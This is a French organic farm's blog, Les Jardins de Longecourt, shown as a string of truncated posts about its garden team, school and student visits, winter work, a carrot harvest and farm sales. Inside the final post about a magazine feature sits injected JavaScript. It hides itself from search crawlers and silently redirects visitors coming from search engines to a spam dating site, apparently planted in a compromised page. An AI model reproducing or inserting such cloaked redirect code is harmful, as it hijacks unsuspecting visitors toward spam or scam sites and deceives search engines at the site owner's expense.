Une équipe au top

Une équipe au top

Pour assurer une bonne saison en maraîchage, il faut: Aimer les légumes que l'on cherche à faire pousser Avoir une bonne dose d'endurance sous les semelles boueuse de ce début d'été pour préparer, entretenir, désherber, récolter, laver, vendre les légumes que l'on cherche à faire pousser (se reporter au 1.) S'entourer d'une bonne équipe pour réussir à préparer, entretenir, désherber, récolter, laver, vendre les légumes que l'on cherche à faire pousser (se reporter au 2. puis au 1.) C'est chose faite pour cette saison 2021! Voici les trombines des maraîchers permanents des Jardins de Longecourt, je n'oublie évidemment pas nos renforts ponctuels qui nous ont permis de ne pas se faire déborder qui ont rempli nos brouettes d'une bonne dose d'énergie! Lisa, Thibault, Dorothée, Nicolas, Lucien, Wesley, Léa, Yann, Marine, Colline, merci merci et bon vent à vous! Fabien, Il aime les récoltes et il déteste les mottes (de terre!)!Après une vie d’électricien, Fabien entame une reconversion. Suite à son diplôme agricole (BPREA) et quelques stage...
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1 matinée 6 projets

Ça se bouscule à la ferme en cette fin du mois de mai. De jeunes élèves architecte de l'ENSA de Strasbourg viennent pousser la réflexion dans le cadre de leur atelier "infrastructure du vivant". Objectif: Comprendre notre métier, les usages qui se mêlent à la ferme et proposer des améliorations d'aménagement. Réparti en 6 groupes, encadrés par Lucien (notre stagiaire éco interprète), les élèves ont découvert, cogité, rassemblé les infos. Ils ont ensuite sorti calques, papiers, crayons, pinceaux et peinture et fait des propositions d'aménagement. S'en est suivi un rendu par groupe et une fin de matinée pleine d’échanges et d'envies pour les maraîchers bluffés (et avec encore plus de projets en tête!). Cette matinée aux Jardins de Longecourt s'inscrit dans un travail de longue haleine, beaucoup plus global mené avec la structure à Cheval sur Soi questionnant la relation au vivant. Nous n'avons été qu'une petite ouverture sur ce beau projet mené par l'école d'architecture de Strasbourg. Un grand merci à...
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La relève des maraîchers en cours de découverte

La saison reprend enfin, le rythme change et l'activité à la ferme bat son plein!   En juin il y a des plantations, du désherbage (beaucoup, beaucoup de désherbage), des récoltes fastidieuses (pois gourmand, haricots, petits pois), la reprise de ventes supplémentaires, l'entretien des cultures, c'est un mois très très chargé! Mais comme tout seul on fait pas grand chose, il nous parait important de former la futur relève du maraicher fatigué, et pour faire naître des vocations..autant s'y prendre tôt!     Les grandes sections de l'école maternelle de Pouilly ont profité de l'animation préparé par Lucien futur éco-interprète pour toucher, goûter et apprendre la vie des légumes et le travail du maraîcher durant une matinée. L'histoire de Charlotte la carotte, le bruit dans les serres, les petites bêtes du jardin, le goût du petit pois cru, bref le terrain était riche en découverte! Expo des dessins de carotte prévu prochainement dans le local de vente! Un grand merci à Chrystelle "maîtresse tout...
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Bonne année bien sur

La reprise 2021 est lancée, après quelques jours de repos bienvenus, nous avons enfilé nos quelques épaisseurs de rigueur par ce mois de janvier glacé et retrouvé avec plaisir le jardin en version gelé.Le froid fige le sol et nous permet tout de même de pouvoir travaillé au sec et sans boue, ce qui fait du bien, vraiment du bien! Le moral est bon, les chantiers avancent enfin et nous libèrent l'esprit, les fraises sont plantées sous le nouveau tunnel, les récoltes de verdures d'hiver sont en cours, les portes de serre endommagées suite à la dernière tempête sont remplacées, la reprise de la vente à la ferme saison 6 est engagée,  le plan de culture 2021 est amorcé et la compta en bonne voie d'être clôturé! On tient le bout bout, on sait ce qu'on laisse derrière nous (et on s'en rappellera de cette année 2020) on va tenter de donner le meilleur pour 2021, avec vous à nos côtés, de...
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Les travaux d’hiver

Les travaux d’hiver

2020 se termine à peine que c'est déjà le branle bas de combat pour ranger, nettoyer et hiverner tout le matériel utilisé cette saison (toile tissée, goutte à goutte, tuyaux, et autre outils utiles au maraîcher égaré par ci par là..), on fait le point sur ce qui s’abîme et ce qu'il faut réparer et racheter pour ..la saison suivante! Ça ne s’arrêtera donc jamais! Et pour préparer la saison suivante on prend soin aussi d’offrir un joli et bénéfique couvert végétal à notre terre pour l'hiver. Parce qu'un sol nu çà n'existe pas, nous semons à la volée sur les planches récoltées et que nous avons pu travailler un engrais vert, mélange à base de céréales, pois et/ou légumineuses acheté aux agriculteurs bio du coin. En poussant à la fin de l'automne et en restant en place tout l'hiver cela couvre le sol et permet entre autre de décompacter les sols lourds, de favoriser la vie du sol et de faire...
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On hiverne!

Cette semaine, les Jardins de Longecourt, se mettent en mode hivernage. Dernière semaine de travail pour Antoine qui aura fait sa deuxième saison avec nous, arrêt du marché de Pouilly et fermeture de la vente du samedi matin, fin de stage pour Laura, Fabienne et Simon qui retournent en formation! On calme le rythme, mais pourquoi?! Parce qu'on en a besoin, le métier de maraîcher est merveilleux pour de nombreuses raisons... mais surtout parce qu'il se cale sur le rythme saisonnier, notre rythme s'aligne avec le soleil, en été on commence tôt et on termine tard et en hiver on réduit le volume horaire (et on en profite pour soigner nos divers maux de dos!!). La saison 2020 a commencé tôt en raison du confinement et a été chargée entre la rénovation du bâtiment et l'activité maraîchère. Parce que la variété et la quantité de légumes au jardin est moins importante en hiver qu'en été Parce que nous nous engageons à livrer en priorité...
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La moitié!

Le chantier participatif de l'année 2020 est terminé! snif, on adore ça nous voir du monde au jardin! Promis on en refait un l'année prochaine! (et cette fois on espère bien fêter ça autour d'un repas en musique sans que des virus ne nous en empêche) Cette édition 2020 s'est réalisée dans de bonnes conditions, le terrain avait suffisamment séché pour que la machine puisse soulever les carottes et soulager la tache des maraîchers d'un jour, la pluie nous a laissé travailler et surtout y a PLEIN DE CAROTTES!! Nous avons ensuite célébré la tache à demi réalisée autour d'un bon goûter à base de gâteau...à la carotte et de chocolat chaud pour se réchauffer les mains! Les caisses ont été rangées le lendemain et les carottes seront lavées et préparées avant chaque vente durant l'hiver Le reste des planches sera récolté la semaine suivante avec les futurs maraîchers et maraîchères en formation  BPREA (brevet professionnel d'exploitant agricole) du CFPPA de Plombières- Quetigny, chic! Reste...
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31 juillet animé!

Ce vendredi 31 juillet, nous avons le plaisir d’accueillir l'altertour aux jardins de Longecourt, 70 cyclistes qui organisent un tour itinérant pour la transition écologique et sociale, pour plus d'infos c'est par ici Ciné cyclo participe à la journée grâce à l’altertour. L'association vient poser ses machines pour qu'en pédalant nous puissions profiter d'une séance ciné en plein air, ce vendredi 31 juillet à 22h (rdv place de la mairie, prévoyez de quoi vous installez confortablement c'est sur l"herbe et de quoi boire!), entrée gratuite (2 court métrages et 2 films sur la thématique environnement et agriculture) Nous saluons l'initiative de la ferme de la Mouillote, Hameau de Sivry à Voudenay et participons à leur marché de producteurs le 31 juillet et le 4 septembre, de 17h à 21h ...
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Tout seul on fait pas grand chose

Tout seul on fait pas grand chose

Saison 5 de la vente à la ferme Nous avons la chance d'avoir autour de nous d'autres producteurs, et quand le maraîcher sort de son champ pour vendre le fruit de son travail,  il est content de partager la place avec les collègues. Parce qu'on rigole bien, on partage des valeurs communes et qu'en plus on peut en profiter pour faire les courses à domicile!! La saison 5  de la vente à la ferme reprend une forme un peu plus normale dès le 2 juillet, Venez, on vous expliquera, on a trouvé de bonnes idées! Jeudi 17h30-19h (commandes+marché, pain, oeufs, fromage, légumes...) Samedi 9h30-12h (marché uniquement, légumes+oeufs)       ...
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la ferme sur papier glacé!

Cet hiver, nous en avons profité pour nous exposer au feu des projecteurs de Bourgogne Magazine, qui consacre son dernier numéro au pays Arnétois, ça fait du bien, ça change des légumes même si ils n'étaient pas très loin! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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